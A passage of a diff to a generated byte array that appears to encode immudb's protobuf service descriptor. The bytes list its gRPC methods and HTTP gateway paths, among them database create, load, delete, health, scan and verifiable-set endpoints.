0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, - 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, 0x0a, - 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x88, - 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, - 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, - 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, - 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, - 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, + 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, + 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, + 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, + 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, + 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, + 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, - 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, - 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, - 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, - 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, + 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, + 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, + 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, + 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, + 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, + 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, - 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, - 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, - 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, + 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, + 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, + 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, + 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, + 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, + 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, + 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, + 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, + 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x13, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, + 0x74, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, + 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, + 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, + 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, 0x6f, 0x61, + 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, + 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0d, 0x22, 0x08, 